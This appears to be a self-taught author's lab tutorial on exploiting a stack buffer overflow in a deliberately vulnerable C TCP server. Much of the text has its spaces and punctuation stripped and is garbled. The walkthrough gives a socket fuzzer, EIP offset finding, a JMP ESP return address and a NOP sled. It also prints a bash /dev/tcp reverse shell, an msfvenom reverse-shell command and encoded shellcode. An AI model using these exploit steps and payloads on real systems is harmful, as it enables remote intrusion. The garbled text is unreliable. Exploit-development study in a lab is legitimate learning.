andpointersandupdatedandthememorygrowsandshrinksWithoutbeinganassemblygeniusweseethespecificfunction
(readplt)withthevulnerabilitycalledandcaninferthatthebufferallocationbeforethatisusedforthefunctioncallInthiscase1036
availablebytesLetrsquosbreakthatdown
1036bytesforthebuffer+4bytesforEBP+4bytesforEIP(InstructionPointer)
AnotherimportantpieceofthepuzzleistoldquoFindrdquothecodethatyoujustputintothebufferInourexamplethatwillbeabunchofArsquos
thatweuseduringfuzzingHoweverasweprogresstheArsquoswillgetreplacedwithmalwarebecauseabunchofArsquosarentthatuseful
outsidethecontextoflearning
Afterwefindthecodewewanttobesurethatthecomputerwillldquomove-alongrdquountilitgetstowhateverdataweputintothebufferThe
reasonforthisisbecauseknowingldquoexactlyrdquowherethecomputerputsourArsquosBrsquosandCrsquosishardWemightoverwriteallthoseldquoArsquosrdquo
ldquoBrsquosrdquoandldquoCrsquosrdquobutfindingtheexactmemorylocationthecomputerdecidestoputtheminisnotalwaysviablebecausememory
locationsmovearoundabitPluswewanttomakesurethatthecomputerdoesnrsquotexitorterminateexecutionbeforeitgetstotheBrsquosor
laterourldquomalwarerdquo
Themostbasictechniquetoaddressthisiswithx90NOP(nooperation)WereplaceourArsquos(x41)withx90andthattellsthe
computertojustldquomovealongrdquountilyougettothenextinstructionAsanoobitgivesusabiglandingpadtofindLookbelowatthe
pictureaboveandyoursquollseeanarrowthatpointsbacktotheldquoBufferrdquowithabunchofx90sThismeanswewillputaninstructioninto
IPEIPthatreturnsthecomputerbacktothebufferandtheRETURNwilllandintoabunchofNOPSandthenslidedownintotheBrsquosin
ourprogram
Thefollowingtwopicturesreallyputeverythingintoperspectiveformeignorethebuffersizenumbers
EnoughtheoryshowmeTheCode
DisablingDEPASLR
YoumustdisableASLRandDEPonalabmachinetolearnthebasicbufferoverflow
ASLR-Linux
echo0|sudoteeprocsyskernelrandomize_va_spaceDEPPassedascommandlineargumentinMakefileoratgcccommandline
-fstack-protector-Waexecstack
Onax86linuxarchitecturewithDEPASLRdisabledhellipLetrsquosgiveitashotfirstwersquollrunthevulnerableserverPoCwithinGDB
compilesthevulnerableCprogramwithanumberofprotectionsremovedDisabling-fstack-protectorremovessomemodernprotectionagainstoverwritingtheinstructionpointerLetrsquosdeferuntillaterexecstackwillmarkbinaryorsharedlibraryasrequiringexecutablestackMakefileallor
gcc-gvulnServerc-fno-stack-protector-z-Waexecstack-oServergdbServer1337
OkaysothevulnerableTCPserverisloadedintoGDBGDBisadebuggertogiveasaccessintothememoryregistersassemblyetcetcIfyourefamiliarwithwebdevelopmentlikeIwastheconceptofsettingbreakpointsatdifferentmomentsinthecodewasveryfamiliarItseemsintimidatingbutareallygoodcheatsheetishere
GDBCheatSheet
httpswwwcheatographycomfristlecheat-sheetsclosed-source-debugging-with-gdbFromtheterminaltype
run1337
NowitrsquostimetoldquoFuzzrdquoWealreadywentthroughsometheoryandrationalebeforebutitwasnrsquotdescribedinandend-to-endtypeofcontextArefresherhellipldquoFuzztestingorFuzzingisaBlackBoxsoftwaretestingtechniquewhichbasicallyconsistsinfindingimplementationbugsusingmalformedsemi-malformeddatainjectioninanautomatedfashionrdquoldquoYoucaneitherthrowabunchofgarbageattheprogramoryoucanunderstandwhatthecodeisexpectingrdquoIfyourememberIprovidedsomesimplecommandstoillustratetheexampleForthisapplicationwecandoitcompletelyhandsonpython-cprintx41overflowpython-cprintx41[offset]+x42[4]+x43[Overflow-offset-4]python-cprintx90[offset]+InstructionPointer[4]+x90[Overflow-offset-4]Sowecouldapproachthisacoupleofways
1 Gobackintothereversedengineeredbinariesandtrytodeterminewhatourbuffersizeisthroughthesourcecodeandassembly
2 RuntheprogramthroughthrewGDBandsetbreakpointsandfindops-codethatindicateBUFFERvariablesize3 Writeaniterativefuzzingscripttofindtheoverflowpoint
WritingthefuzzingscriptwasthebestlearningexerciseformeSowersquoregoingtocoverthatherequicklyLetrsquosstartwithgeneratingabunchofdatawiththecommandbelowIrsquomgoingtojustincreasethenumberofAsby10threetimes Examplepython-cprintx41overflowpython-cprintx4110python-cprintx4120python-cprintx4130
AllwersquoredoingiscreatingabunchofArsquosWedothisbecausewedonrsquotknowthemagicnumberofbyteswhereourattackpayloadwillresultinanoverflowThatrsquosthefuzzWewillneedtomodifythebasicpythonfuzzingexampletofittheuniqueldquopre-fixrdquothatisbuiltintothevulnerableserverlogicWewillreusetheBLACKpartsofthecodeslogicbelowandcopyintotheclientpyscriptusrbinpythonimportsocketCreateanarrayofbufferswithArsquosfrom1to5900usingincrementsof200Incrementsof200arearbitraryyoucouldusen++ifyouwanttowaitlongerWhateverbuffer=[A]counter=100whilelen(buffer)lt=30
bufferappend(Acounter)counter=counter+200
forstringinbufferprintFuzzingPASSwithsbyteslen(string)s=socketsocket(socketAF_INETsocketSOCK_STREAM)connect=sconnect((101110167110))srecv(1024)ssend(USERtestrn)srecv(1024)
ssend(PASS+string+rn)ssend(QUITrn)sclose()FirstletrsquoscreatecopyoftheoriginalclientsourcecodecpclientpyclientPoCpyNowletrsquosmakethefollowingchangestoclientPoCpyhellip usrbinpythonimportsocketimportstructimportsysiflen(sysargv)=2printUsage+sysargv[0]+[port]sysexit(1)
MESSAGE=Awhilelen(MESSAGE)lt=1000000mayneedtobeincreasedbasedonyourtargetbuffersize
DEST_IP=127001hostyourvulnProgramsislisteningonDEST_PORT=int(sysargv[1])counter=100
MESSAGE+=(Acounter)increasingthefuzzpayloadofAscounter=counter+100100hereisarbitrarysmallerwillbemoreaccuratebuttakelonger
print(lengthoffuzzoverflowis)print(len(MESSAGE))Foreducationalpurposes
forstringinMESSAGE
defconvert(MESSAGE)raw=raw+=structpack(ltIlen(MESSAGE))Serverexpectsapre-fixtellingyouthebuffersizeraw+=MESSAGEreturnraw
print(convert(MESSAGE))testpurposess=socketsocket(socketAF_INETsocketSOCK_STREAM)sconnect((DEST_IPDEST_PORT))ssend(convert(MESSAGE))data=srecv(1024)
sclose()printReceiveddatadataLetrsquosrunthepythonclientpyscriptandthevulnerableCtcpserverWersquollseethatthepythonscriptwillactasexpectedandbeginiteratingthroughthewhileloopandincreasingthenumberofArsquosIrsquoveincludedaprint()soyoucanwatchtheArsquosgrowastheclientrunsIfyouruntheclientterminalandtheserverterminalsidebysideyoursquollbeabletocomparetheclientpayloadbeingsenttothepayloadbeingreceivedbythevulnerabletcpserver
HopefullyyouruntheattackagainstyoursquorevulnerabletcpserverwhileinEDBmodeYoursquollnoticeaSIGSEGVerroratbytelengthof1101ASIGSEV(segmentationfault)oraccessviolationisafaultorfailureconditionistypicallyraisedbyhardwareasamemoryprotectionmechanismwhenyourprogramattemptstoaccessamemorylocationthateitherdoesnotexistorthatyourprogramisnotallowedtoaccessInthiscaseweoverwroteourEIP(instructionpointer)withamemorylocationof0x4141414orinotherwordsfourArsquos
ThenextpartiscriticalandIoverlookeditthefirstfewtimesIwastryingtounderstandhowthestackbufferrelatestotheregistersAt1101bytestheprogramcrashesHoweverwedonrsquotknowhowfarintotheregisterwewroteourArsquosBecausethisisopensourcecodeweknowthatthebufferwas1024bytesandwewroteout1101bytessoitrsquoslikelyweoverwrite77bytesworthofspaceoverourregisters
WhydowecareWewanttomodifyourinstructionpointerorEIPinx86IfwecanpreciselyoverwriteEIPwiththememorylocationofourprogramthenwecantricktheCPUintoexecutingourmaliciouscodeToillustrateIdrewanXthroughthereturnarraybackintoourbeforebecauseweonlyhaveabunchofArsquosinthereLetrsquossaywewanttowrite4Brsquosinthe4bytespaceinthereturnpointerTheBrsquos(x42)arearbitraryandonlyusedtoillustratethepointIfwewanttowriteBrsquostoaspecificregisterthenweneedtofigureouttheexactnumberofbytestostopwritingArsquosandstartwritingBrsquosManualbinarytreeanalysisisthebestforabeginnerinmyopinionMainlybecauseyoursquollneedtomanuallyworkyourwaythroughthebytesizelengthsmakingeducatedguesseswhileatthesametimelookingattheregistersandldquovisualizingrdquohowitallworks
Soifwehaveacrashatletrsquossay1100WecansplitthenumberofArsquosandBrsquosinto550Doingthismanuallyjustforkickspython-cprintx41550+x42550
Letrsquosusetheoriginalclientpy(notthefuzzer)andreplacetheldquoHELLOrdquomessagewithournewbufferwejustcreatedRestartthevulnerabletcpapplicationinGDBandruntheclientpywithourAandBrsquosbufferPuttingtheapplicationside-by-sideweseethat1100byteweresenthalfAsandhalfBrsquosHoweverthistimetheSIGSEGVshowsthatourinstructionpointerwasoverwrittenwithBrsquos(x42)
LetrsquostakeourfirstlookintotheregisterstoseewhatrsquosgoingonTypeldquoinfoall-registersrdquo
EachtimeyourunthroughthebinarytreecreatenewbuffermakesureyoulookintotheregistersTheoutputshowsusthatouroverflowisinourBrsquosbecauseweseex42hasoverwrittensomeofthedataregistersandthepointerregisters(X)isdataand(P)ispointerbytheway(-8Nowweneedtogofartherdownthebinarytreetofindtheexactlocationtowriteonly4bytesofBs(x42s)SowersquollmodifyourbuffertoincludesomeCrsquosWersquolldivide11003=andapproximate366+366+368python-cprintx41366+x42366+x43368
LetrsquosupdatetheoriginalclientpyscriptagainwithournewbufferandruntheattackagainstthevulnerableserverintheEDBBythewayIfoundVIMtobefarsuperiorforreplacinglargebuffersizewordsallatonceandnavigatingbackandforthtothebeginningandendofline(-8hellipafterfatthumbingitafewtimesweplacetheclientandtheserverside-by-sideandobservewhathappened
ThistimetheSIGSEGVshowsthatourinstructionpointerwasoverwrittenwithCrsquos(x43)TheoutputshowsusthatouroverflowisinourCrsquosbecauseweseex43hasoverwrittensomeofthedataregistersandthepointerregisters(X)isdataand(P)ispointerbytheway
WecansaytheresultsofthismakesensebecausewehavethesourcecodeWeknowthatthebufferisallocated1024bytesasapre-processorinstructionAtthispointourArsquosandBrsquosonlyequalatotalof366+366=732bytesNotenoughtooverflowthe1024butanother386isenoughtocrashintothestackrsquosregistersLetrsquoskeepgoingWersquolldividetheCrsquosupnextupdateourclientbufferandretesttheprograminEDBpython-cprintx41366+x42366+x43184+x44184ThistimeweseethefaultoccursintheDrsquoswichmeanswearegettingverycloseSincewersquoreontherighttrackandknowweneedtogetdownintoonly4bytesletrsquosbreaktheDrsquosdownfurther
python-cprintx41366+x42366+x43184+x4462+x4562+x4662
AtthispointIrsquomgettingtiredandthisisgettingoldbutweknowtheoverflowissomewhereinthelast62bytesSoletrsquospauseandaskourselveshowcouldwehavedonethisfasterWerememberouriteratorinthefuzzerTherewasareasonwhyIprintedthebytesizelengthtoscreenLetrsquosgobacktoapictureofourfuzzer
Sobetween1000and1100theoverflowoccursForfastresultswecouldrepeatthebinarytreeanalysiswhereonthelast100byteshellip
python-cprintx411000+x4225+x4325+x4425+x4525
That was much faster In one run we already know that the overflow falls somewhere within the Crsquos or x43s That could be anywhere
up to 1050 bytes This makes sense because we know our buffer is 1024 and we have an idea that there are some other registers that
mightgetoverwrittenbeforeourcodemakesitrsquoswaytotheinstructionpointerLetrsquosbreakdownthose25Crsquosinto8Crsquos8Drsquos9Ersquos
python-cprintx411000+x4225+x438+x448+x459
Now our fault occurs in our Ersquos or x45rsquos Simple math tells us that is somewhere between ~ 1040-1050 bytes and we know our registers
are4byteor32bitregistersthereforewecanbreakthatfinal9Ersquosinto4Ersquosand4Frsquosandseewhathappens
python-cprintx411000+x4225+x438+x448+x454+x464
Close 3 bytes of Ersquos or 3 x45rsquos but look closely one byte of D or x44 This means we need to subtract one D (x44) I feel like wersquore
onestepaway
python-cprintx411000+x4225+x438+x447+x454+x464
BoomThatrsquosit4bytesofErsquosor4x45rsquosLetrsquoscrackopenourregistersandconfirmthatwehavecontroloverourinstructionpointer
Okay so letrsquos recap You can save time during binary tree analysis if you print your fuzzerrsquos buffer to screen In this case we know the
crash occurred between 1000 and 1100 We also learned that our instruction pointer was well being overwritten with As We need to
find the exact location of the 4 byte EIP register because later we want to put a memory location of our ldquomalwarerdquo and tell the computer
to return to our malware in buffer If you noticed that the 44rsquos were at the end of EIP and not the beginning good catch This is because
Intel x86 is little endian meaning that the instructions are considered ldquobackwardsrdquo when provided to the CPU Basically it reads from
right-to-leftrelativetotheorderyousuppliedthedata
FindingInstructionPointerthefastway
Lucky for us there is a nice little program which helps us solve this problem much more quickly Unfortunately I found that when your
taught to use this program without learning the manual way then you may not understand what and why exactly you are using the
program
httpsgithubcomrapid7metasploit-frameworkblobmastertoolsexploitpattern_createrb
Soourfuzzertoldusthecrashhappenedatapproximately1100bytes
rootkali~locatepattern_createusrsharemetasploit-frameworktoolsexploitpattern_createrb
rootkali~usrsharemetasploit-frameworktoolsexploitpattern_createrb-l1100
This will create a pattern where each 4 bytes is a unique string Gosh I wish someone told me that You will paste the output from this
command into your clientpy buffer and overflow the program You will then receive a segmentation fault and go back into the registers
and find the unique 4 byte value in EIP Yoursquoll use a sister program which essentially counts the number of bytes in pattern_createrb
outputuntilitgetstotheunique4bytevaluethatwascopiedintoEIP
Example
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0
Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6
Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7
Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1
Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2
Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf
4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk
YoucanchecktheregistertoojusttoconfirmtheuniquefourbytestringthatwaswrittenintoEIP0x37694236
Then you use the sister program which is just going to count all the bytes in our unique buffer string up to the point of that 4 byte EIP
value
usrsharemetasploit-frameworktoolsexploitpattern_offsetrb-l1100-q37694236
Letrsquoscomparethe1040byteoffsetagainsttheoffsetwefoundmanuallyusingbinarytreeanalysis
python-cprintx411000+x4225+x438+x447+x454(EIP)+x4641000+25+8+7=1040NowweknowthatourbufferandregistersbeforeEIPisapproximately1040byteslongwhilethefollowing4byteswillbeourmemoryaddressthatreturnsusbackintoourbufferandeventuallyrunsourprogramsOnceagainIfoundthissillypicturenotonlyamusingbutthemostusefulIgnorethe500bytesizelengthandreplacethatwith1040forexample
Now we want to make a slight modification to the manual buffer we created previously by adding some x90 no operations commands
Wersquoll add exactly 1040 bytes of NOPS for now Take a second look at the illustration above and see that wersquore going to write out a
bunchofNOPSandeventuallyaddsomeldquomalwarerdquocode
python-cprintx901040+x454+x904
Letrsquosmodifyourclientpyscripttoadjustforthenew1040offsetandNOPs
Notice how similar the manual python script looks to the replaced MESSAGE variable value If this update works correctly wersquod expect
thatmemorylocationsbeforeEIPtobex90rsquosandwersquodexpecttoseethatEIPisx45454545
MESSAGE=x901040+x454+x901000
Run the vulnerable tcp server and clientpy side-by-side and yoursquoll find that the segmentation fault occurs at EIP with a value of exactly
x45454545
Now most importantly what do we put into the Instruction Pointer That depends on where your buffer of x90rsquos land To find our
NOPSletsruntheattackwiththefollowinglogicintheclientpy
MESSAGE=x901040+x454+x901000
Letrsquosswitchsomethingsupandtryanewdebuggerhellip
1 Server1337
2 Fromterminal2rarredb
3 FromedbUIrarrfilerarrattachrarrldquoServerrdquo
4 FromedbUIrarrfilerarrdebugrarrrunrarrrun(twiceorso)
5 UpdateyourclientPoCcode
6 pythonclientPoCpy1337
CodeChanges
malware=(x41100)
eip=x424
ending=x90200
nopsled=(x90(1000-len(malware)))
MESSAGE=x901040+eip+nopsled+malware+ending
Welandsomex42rsquosperfectlyonEIPwhichmeansweadjustedforthebuffercorrectly
Right click in the registers and do a follow in memory dump In this case I clicked ESP and found some 90rsquos in the bottom left-hand
corner
Looking at our memory we see can see the 90rsquos we wrote before EIP we can see the x42 which is EIP and we can see that ESP points
to memory address bffff310 If we continue to scroll down into ESP we should find a bunch of Arsquos which symbolizes our malware At
memoryaddressbfff6a0wefindourArsquoswhichmightaswellbemalware
Nowthatweknowthex90rsquosfeednicelyintoourmalwarewewanttofindalocalstaticbinarywithanOPCODEthatallowsustojump
intoESPWersquollneedabinarythatisalreadyloadedintomemorythatgrantsourprogramreadpermissionFromtherewewillsearchfor
aJMPESPopcodetofindamemorylocationwiththatinstruction
1 runthevulnerableserver
2 startupedbdebuggerandattackthevulnerableserver
3 rightclickPluginsrarrOpsCodesearchrarrClickESPtoEIP
4 Manuallysearchthrougheachloadedbinaryandclicksearch
0xb7facf97 or x97xcfxfaxb7 is the memory location of the OPCODE instruction we need to insert into EIP in order to trick the CPU
tojumpintothememoryaddressheldatESPregisterandthenexecuteourmalwareinESPAsafriendlyreminder
So what do we want our malware to do For now letrsquos create a simple reverse shell back to a command and control server In the
futureIrsquollwriteapaperaboutacustompieceofmalwarejustforfun
Aboilerplateuniversalreverseshellonlinuxlooksliketheonebelow
binsh-igtampdevtcp12700144440gtamp1
Letrsquos test this out on a similar OS to the target server (as best we can) to make sure it will run correctly Wersquoll create a netcat listener in
one terminal listening on port 4444 and wersquoll execute the reverse shell from another terminal and attempt to connect to the listener It
lookslikethissimplereversebinshshellcommandwillworkonthetargetOS(mylocalhostlolz)
The next part that gets overlooked is the assembler encoding into machine op code Kali Linux and Metasploit have tools that generate
a bunch of shellcode for you but the details of the tools can be easily missed or misunderstood If your self-taught noob like myself and
not comp-sci person then itrsquos good we take a moment to cover this Even if you donrsquot fully understand it yoursquoll at least understand there
isanaddedlayerofcomplexity
LetrsquosrefertoourfriendwikipediaforhelphereIpersonallyconcatenateabunchofthistogetherbecauseIfounditusefulinmynotes
ldquoThe Netwide Assembler (NASM) is an assembler and disassembler for the Intel x86 architecture It can be used to write 16-bit 32-bit (IA-32) and 64-bit (x86-64) programs
NASM principally outputs object files which are generally not executable by themselves In computing object code or object module is the product of a compiler In a general
sense object code is a sequence of statements or instructions in a computer language usually a machine code language (ie binary) or an intermediate language such as
register transfer language (RTL) An assembler is used to convert assembly code into machine code (object code) An assembly language (or assembler language) often
abbreviated asm is any low-level programming language in which there is a very strong correspondence between the programs statements and the architectures machine
codeinstructionsrdquo
So when we put in x90x41x42 etc etc you might have noticed that the values stayed the same in memory and in the registers But
when we put in a bunch of Arsquos for some reason the EIP register spit out x41s Well when we performed ldquoinfo all-registersrdquo wersquore seeing
the HEX variant (x41x42x43) of the variables used in the CPUrsquos assembly language Thatrsquos part of the assembly language at work
helpingusgofromahigherlevellanguageinCtoalowerlevellanguagetotheCPUthatwedonrsquotunderstandlikebinary1rsquosand0rsquos
So when we write our malware to the registers it seems best to encode it into the assembly NASM HEX variant of the ASCI characters
commands because the assembly is already expecting that value in the register to execute when the function is called I canrsquot explain it
any deeper other than saying itrsquos ldquomagicrdquo All I know is that if you try to put human readable bash command syntax into a register the
registerdoesntknowwhattodowithitbecauseldquoitdoesntspeakthatlanguagerdquohellipyoufeelme(-8hellip
PutsimplyletrsquostakethecommandwearefamiliarwithinBASHandencodeitintosimpleHEXforillustrationhellip
binsh-igtampdevtcp12700144440gtamp1
encodesto
x2fx62x69x6ex2fx73x68x20x2dx69x20x3ex26x20x2fx64x65x76x2fx74x63x70x2fx31x32x37x2ex30x2ex30x2ex31x
2fx34x34x34x34x20x30x3ex26x31
Unfortunately the assembly still wont ldquounderstandrdquo what that HEX bash command means Largely because wersquore executing directly
from the stack and therefore we need x86 equivalent instructions However it does visually illustrate the point that wersquore taking a
simpleshellcommandandencodingitintoassemblyandwritingtheoutputinCHEX
To make this easier wersquoll use a tool from here on to help us translate a similar shell command like the one below into a lower level x86
encodedcommandthatthekernelcaninterpret
binsh-igtampdevtcp12700144440gtamp1
msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d
x86encodedShellCode
xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1
x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f
xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0
xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45
x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33
x21x0bx8fxc0xd9xbbxe0x09x7bx55x76xb6x29xf6x01
xd8x7dxf3xdcx9b
TheMSFVENOMtoolisextremelyfeaturerichItiseasytorunitblindlybasedonsomeblogortrainingcoursewithoutfully
understandingthedetailsbehindthepayloadsencodersandoutputUsingourexampleIrsquollgivea60secondbreakdownItrsquosreally
worthreadingthemanpageonmsfvenomtounderstandthearchitecturesandencoders
- p=payloadwherepayloadcouldbelowlevelassemblycompiledjavajspshellcommandscrossplatform
- shell_reversewheretheUnderscoremeansasinglestagedpayloadThismeanstheentireremotecodeexecutionoccursina
singlegoAlternativelyamulti-stagedpayloadmightinjectaldquodownloaderrdquothenrunthedownloadedagainsttheattackerrsquos
ldquoWebServerrdquotogetadditionalremotecodecommandexecutionThinkstage1ldquocurl-sattackeripmalwarerdquowhilestage2is
malwareldquobinsh-igtampdevtcp12700144440gtamp1rdquoorsometihngfarbiggerandmoreadvanced
- f=formathellipThatcanberawCJSPshelletcetc
- -eistheencoderinthiscaseforthex86architecturewersquoreworkingonbuttherearemanymanymore
- -baretheldquobadrdquocharactersIrsquoveincludedafewexampleshere
Wheredoweputourmalware
While writing these notes I first put the shell code at the beginning of the buffer before EIP Letrsquos think about this for a second in the
clientpyscriptputtingthemalwarebeforeEIPlookslikethis
NOPSLED+MALWARE+EIP(RETURNBEFOREMALWARE)+NOPS
Personally I found the first approach difficult for this C program because the NOPSLED overwrote 90rsquos to all my registers This is
important because I had no OP CODE which I could use to dynamically jump into the NOPSLED before the MALWARE I was left
manually searching for a memory address of my NOPSLED and hard coding the memory address into the program This is inferior
because you may want to test larger MALWARE which could overwrite your memory address or you may have a different memory
address when you run this exploit on a target system outside of your lab Once again hard coding the return point is bad and
unfortunatelytheNOPSLEDbeforeEIPdidntgivememuchtodynamicallyjumpinto
HoweverIdidfindthatputtingmymalwareafterEIPopenedsomenewdoorsThisapproachlooksclosertothesyntaxbelow
NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS
LikebeforewhenfindingJUMPESPyoucantestthisoutbygeneratingcodesimilartothecodebelow
malware=x41x30
eip=x97xcfxfaxb7
eip=x41x41x41x41
ending=x90200
nopsled=(x41(1000-len(malware)))
MESSAGE=x901040+eip+nopsled+malware+ending
After updating the code in the clientpy script go ahead and run the attack against the vulnerable server while in EDB debug mode Then
look into your register windows and try to ldquoFindrdquo any x90rsquos or if you used Arsquos x41rsquos If you find a register in my case ESP I overwrote
with a bunch of x41rsquos So instead of manually hard coded a memory location into the exploit I can now simply reference by ESP register
pointertojumpintothenopsled
One point here that was omitted online is the value of this In order to ldquoJumprdquo into all those ldquoArsquos you will need a librarydll with that
specific x86 operation code which your program has access to Letrsquos say Windows or Linux has a library with a JMP ESP command that
can program can call then your exploit becomes more portable because you can simply call that library Plus if you want to try out
bigger malware payloads you donrsquot have to go down into lower memory locations and hard code the new NOP location to ldquomake roomrdquo
for a bigger payload With memory protections enabled I suspect this becomes more complex but I think for now wersquoll go with the shell
codeaftertheEIPsowecanjumpintoESP
NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS
BadCharactersinCustomMalwareIfyouweretoattempttofindyourownbufferoverflowinapieceofsoftwareandwriteyourownremotecodeexecutionorremotecommandexecutionyouwouldfindthatsomecharactersarereservedforpromotinglanguageandassemblerForexamplex00isusedforNULLpointterminationinCwhichindicatesanendofanarrayorbufferandtellsaprogramtostopatthepointitseesx00OtherlanguagesmayhavesimilarreservedtypeofcharactersyouwanttocommitAsanoverlysimplifiedexamplehellip
x86encodedShellCodewBadCharacters(Fornextsection)
xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1
x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f
xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0
xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45
x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33
x21x0bx8fxc0xd9xbbxe0x09x7bx00x00x55x76xb6x29xf6x01
xd8x7dxf3xdcx9bx00x00
Nowletrsquosupdateourclientpycodetoreflectthesechangesandincludethereverseshellpayloadwejustmade
UpdatedclientpyCodewiththeldquoBadCharactercoderdquo
Wersquore getting close to the moment of truth The expected behavior is when turn on another netcat listener on port 4444 and run the
clientpy the clientpy script will attack the vulnerable tcp server and write our malicious code into the vulnerable serverrsquos buffer and
overwrite EIP with a memory pointer that will tell the CPU to ldquogo backrdquo to our malicious command which will ultimately create a
connection back to the ldquoattackerrdquo on the listening 4444 port However because we have ldquoBad Charactersrdquo we know the connection
willfail
Enablenetcatonport4444(nc-lvp4444)
TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB
Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)
WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444
We notice that the attack fails because the connection back to our attacking machine (farthest right) does not respond to our ID or
WHOIScommandsLetrsquosinvestigate
1 RightclickEIPinRegisterWindowsrarrFollowinDump
2 ScrollaroundandfindthemalwareinbetweentheNOPSLEDandNOPending
3 Lookforx00commandsandtrytonoticeanythingorstrange
WhattheTargetMachineSees
Whatwesentover
We go through each HEX character one by one and notice if any original character from the client payload are omittedgoofed up etc
etc This is a slow and tedious part of the process and arguably the best opportunity to learn We see a whole string of characters does
not ldquomatchrdquo So what happened The bad characters are reserved for various operations and memory locations If you send an OP
CODE for example then the machine will just process it ldquoas isrdquo not knowing that the characters you sent are part of a specific sequence
of characters to form a command In an environment where you are trying to encode BASH command or x86 x64 you will run into
various characters that your malware payloads canrsquot use If you donrsquot spend the time checking the memory dump for bad
charactersthenyouwillhavemanysadandlonelyhoursbehindthekeyboard
So we have to generate a payload that can omit bad characters Luckily we have a program to help us generate x86 shellcode and
omitcharacters
msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d
TestingforbadcharactersisthebestwayforyoutolearnthedebuggerassemblyandHEXYoucandoitatleasttwowaysthatIknow
ofhellip
1 UseagiantblobofallASCIcharactersinHEX
2 Generateacouplesimplepayloadsyouwanttoexecuteandwalkthroughthepayloadlinebyline
Howtotestforbadcharactersandotherassemblyandregisterissues
Terminal1Server1337
Terminal2edb(orGDBIwonrsquotjudge)
fromedbrarrattachrarrServer
fromedbrarrdebugrarrclickrunrarrclickrunagainrarrlookatbottompainandseeiftheprogramisrunning
Terminal3ExecutetheclientscriptwithyourmaliciouspayloadpadwithArsquosorNOPSsoyoucanldquoFindrdquoyourcodequicklyinmemory
Yoursquollbelookingforx41orx90rsquos
Option1-AlltheASCII
x01x02x03x04x05x06x07x08x09x0ax0bx0cx0dx0ex0fx10
x11x12x13x14x15x16x17x18x19x1ax1bx1cx1dx1ex1fx20
x21x22x23x24x25x26x27x28x29x2ax2bx2cx2dx2ex2fx30
x31x32x33x34x35x36x37x38x39x3ax3bx3cx3dx3ex3fx40
x41x42x43x44x45x46x47x48x49x4ax4bx4cx4dx4ex4fx50
x51x52x53x54x55x56x57x58x59x5ax5bx5cx5dx5ex5fx60
x61x62x63x64x65x66x67x68x69x6ax6bx6cx6dx6ex6fx70
x71x72x73x74x75x76x77x78x79x7ax7bx7cx7dx7ex7fx80
x81x82x83x84x85x86x87x88x89x8ax8bx8cx8dx8ex8fx90
x91x92x93x94x95x96x97x98x99x9ax9bx9cx9dx9ex9fxa0
xa1xa2xa3xa4xa5xa6xa7xa8xa9xaaxabxacxadxaexafxb0
xb1xb2xb3xb4xb5xb6xb7xb8xb9xbaxbbxbcxbdxbexbfxc0
